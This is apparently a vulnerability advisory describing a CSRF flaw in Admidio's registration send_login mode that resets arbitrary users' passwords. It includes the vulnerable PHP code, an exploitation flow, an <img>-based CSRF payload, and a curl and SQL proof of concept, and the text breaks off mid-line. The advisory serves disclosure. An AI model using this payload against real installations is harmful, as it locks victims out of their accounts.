Admidio's CSRF in registration send_login mode resets arbitrary user passwords
Summary
modules/registration.php mode send_login regenerates a random password for user_uuid_assigned, stores its bcrypt hash in adm_users.usr_password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign_member, assign_user, delete_user, create_user) calls SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) first; the send_login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.
Details
Vulnerable Code
modules/registration.php:124-138:
```php
} elseif ($getMode === 'send_login') {
// User already exists and has a login than sent access data with a new password
$user = new User($gDb, $gProfileFields);
$user->readDataByUuid($getUserUUIDAssigned);
$user->sendNewPassword();
// delete the registration because it isn't necessary anymore
$registrationUser->notSendEmail();
$registrationUser->delete();
admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');
// => EXIT
}
```
The four sibling branches all begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); — for example delete_user at lines 110-118:
```php
} elseif ($getMode === 'delete_user') {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
// delete registration
$registrationUser->delete();
echo json_encode(array('status' => 'success'));
exit();
}
```
User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.
The handler accepts GET (no enforcement of HTTP method, no $_POST requirement), so an <img src=...> or auto-submitting form is sufficient.
Exploitation Flow
1. Attacker prepares a "pending registration" row anywhere they can — either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.
2. Attacker hosts a page that issues:
<img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">
3. A registration-administrator (someone with isAdministratorRegistration() — usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set SameSite=Strict).
4. Admidio's handler runs as that admin. It loads the assigned user, calls User::sendNewPassword() which writes a fresh bcrypt hash to adm_users.usr_password, and queues the cleartext password to be e-mailed to the user.
5. The victim user's old password no longer works.
The cleartext lands in the *victim's* mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.
PoC
Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.
```
# 0. observe current admin password hash (the testadmin from install)
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
-e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);"
usr_id usr_login_name pwd
2 testadmin $2y$12$AB.h
7 victim $2y$12$L9q3
# 1. attacker creates a pending registration with user_uuid pointing at "victim"
mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)
VALUES (1, 7, NOW());"
# (the pending row gives the request a valid user_uuid for $registrationUser->delete())
# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:
# no adm_csrf_token, GET only
curl -b $admin_cookie \
"http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>"
# 3. observe the victim's password hash has changed
mariadb ... admidio \
-e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;"
usr_id usr_login_name pwd
7 victim $2y$12$w5lQ
```
The hash before the attack was `$2y$12$L9q
